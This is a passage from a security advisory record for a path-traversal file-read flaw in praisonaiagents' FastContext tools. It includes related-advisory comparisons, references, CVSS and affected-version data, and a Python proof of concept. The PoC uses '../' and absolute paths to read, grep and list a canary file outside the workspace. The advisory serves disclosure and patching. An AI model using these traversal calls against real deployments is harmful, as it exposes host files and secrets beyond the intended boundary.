workspace.\n- `GHSA-j7qx-p75m-wp7g`: PraisonAI dynamic-context artifact tools read arbitrary host files outside artifact storage. That advisory covers Dynamic Context artifact tools that accept raw `artifact_path` values. This report covers FastContext code-search/read/list tools and the model-backed FastContext search loop.\n- `GHSA-22cj-m4wf-fv2c`: PraisonAI Dynamic Context history and terminal tools read files outside configured storage via path traversal. That advisory covers Dynamic Context history/terminal stores where `run_id` and `agent_id` are path components. This report covers FastContext's workspace root and file/search path tool arguments.\n- `GHSA-grrg-5cg9-58pf` / `CVE-2026-40117`: `read_skill_file()` arbitrary file read due missing workspace boundary and approval gate. This report does not use skill tools.\n- `GHSA-7j2f-xc8p-fjmq` / `CVE-2026-40152`: legacy `FileTools.list_files()` glob traversal. This report affects FastContext and can disclose file content through `read_file`/`grep_search`, not only metadata through FileTools glob patterns.\n- `GHSA-693f-pf34-72c5`: FileTools path traversal. This report is in `praisonaiagents.context.fast`, not `praisonaiagents.tools.file_tools`.\n- `GHSA-9cr9-25q5-8prj` and `GHSA-9mqq-jqxf-grvw`: MCP file/path traversal surfaces. This report does not use MCP.\n\nPublic issue/PR search found no hits for `FastContext arbitrary file read`, `\"Fast Context\" workspace boundary`, or `fast_context_agent` in `MervinPraison/PraisonAI`.\n\n## References\n\n- PraisonAI Fast Context docs: https://docs.praison.ai/docs/features/fast-context\n- PraisonAI tools docs, Fast Context section: https://docs.praison.ai/docs/concepts/tools\n- PraisonAI repository advisories: https://github.com/MervinPraison/PraisonAI/security/advisories\n- `GHSA-gcq3-mfvh-3x25`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gcq3-mfvh-3x25\n- `GHSA-j7qx-p75m-wp7g`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-j7qx-p75m-wp7g\n- `GHSA-22cj-m4wf-fv2c`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-22cj-m4wf-fv2c\n- `GHSA-grrg-5cg9-58pf`: https://github.com/advisories/GHSA-grrg-5cg9-58pf\n- `GHSA-7j2f-xc8p-fjmq`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7j2f-xc8p-fjmq\n- CWE-22: https://cwe.mitre.org/data/definitions/22.html\n- CWE-200: https://cwe.mitre.org/data/definitions/200.html\n\n## Appendix: Self-Contained FastContext Workspace PoC\n\n```python\n#!/usr/bin/env python3\nimport json\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\n\nfrom praisonaiagents.context.fast import FastContext\nfrom praisonaiagents.context.fast.fast_context_agent import FastContextAgent\n\n\nCANARY = \"FAST_CONTEXT_CANARY=outside-workspace\"\n\n\ndef main() -> None:\n    with TemporaryDirectory(prefix=\"fastcontext-workspace-pov-\") as tmp:\n        temp_root = Path(tmp)\n        workspace = temp_root / \"workspace\"\n        workspace.mkdir()\n        inside = workspace / \"inside.txt\"\n        outside = temp_root / \"outside-secret.txt\"\n\n        inside.write_text(\"INSIDE_ONLY=workspace\\n\", encoding=\"utf-8\")\n        outside.write_text(CANARY + \"\\n\", encoding=\"utf-8\")\n\n        agent = FastContextAgent(str(workspace), max_turns=2, max_parallel=4)\n        simple_result = agent.search_simple(CANARY)\n        inside_result = agent.execute_tool(\"read_file\", filepath=\"inside.txt\")\n        relative_read = agent.execute_tool(\"read_file\", filepath=\"../outside-secret.txt\")\n        absolute_read = agent.execute_tool(\"read_file\", filepath=str(outside))\n        grep_parent = agent.execute_tool(\"grep_search\", search_path=\"..\", pattern=CANARY, max_results=5)\n        glob_parent = agent.execute_tool(\"glob_search\", search_path=\"..\", pattern=\"*.txt\", max_results=5)\n        list_parent = agent.execute_tool(\"list_directory\", dir_path=\"..\", max_entries=10)\n\n        context = FastContext(workspace_path=str(workspace), cache_enabled=False)\n        context_read = context.read_context(\"../outside-secret.txt\")\n\n        results = {\n            \"simple_search_does_not_find_outside_canary\": len(simple_result.files) == 0,\n            \"inside_read_still_works\": \"INSIDE_ONLY=workspace\" in inside_result.get(\"content\", \"\"),\n            \"relative_traversal_read_discloses_canary\": CANARY in relative_read.get(\"content\", \"\"),\n            \"absolute_read_discloses_canary\": CANARY in absolute_read.get(\"content\", \"\"),\n            \"grep_parent_discloses_canary\": any(CANARY in match.get(\"content\", \"\") for match in grep_parent),\n            \"glob_parent_reveals_outside_file\": any(match.get(\"path\") == \"outside-secret.txt\" for match in glob_parent),\n            \"list_parent_reveals_outside_file\": any(entry.get(\"name\") == \"outside-secret.txt\" for entry in list_parent.get(\"entries\", [])),\n            \"high_level_read_context_discloses_canary\": CANARY in (context_read or \"\"),\n        }\n\n        print(json.dumps({\"vulnerable\": all(results.values()), \"results\": results}, indent=2, sort_keys=True))\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonaiagents"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.6.78"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.6.77"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4xxv-6wmf-xf45"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-61432"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/commit/1620b49f36945d8cc8ee5635b906c960df5097a0"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/praisonai-fastcontext-before-path-traversal"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-08T16:48:52Z",
    "nvd_published_at" : null
  }
}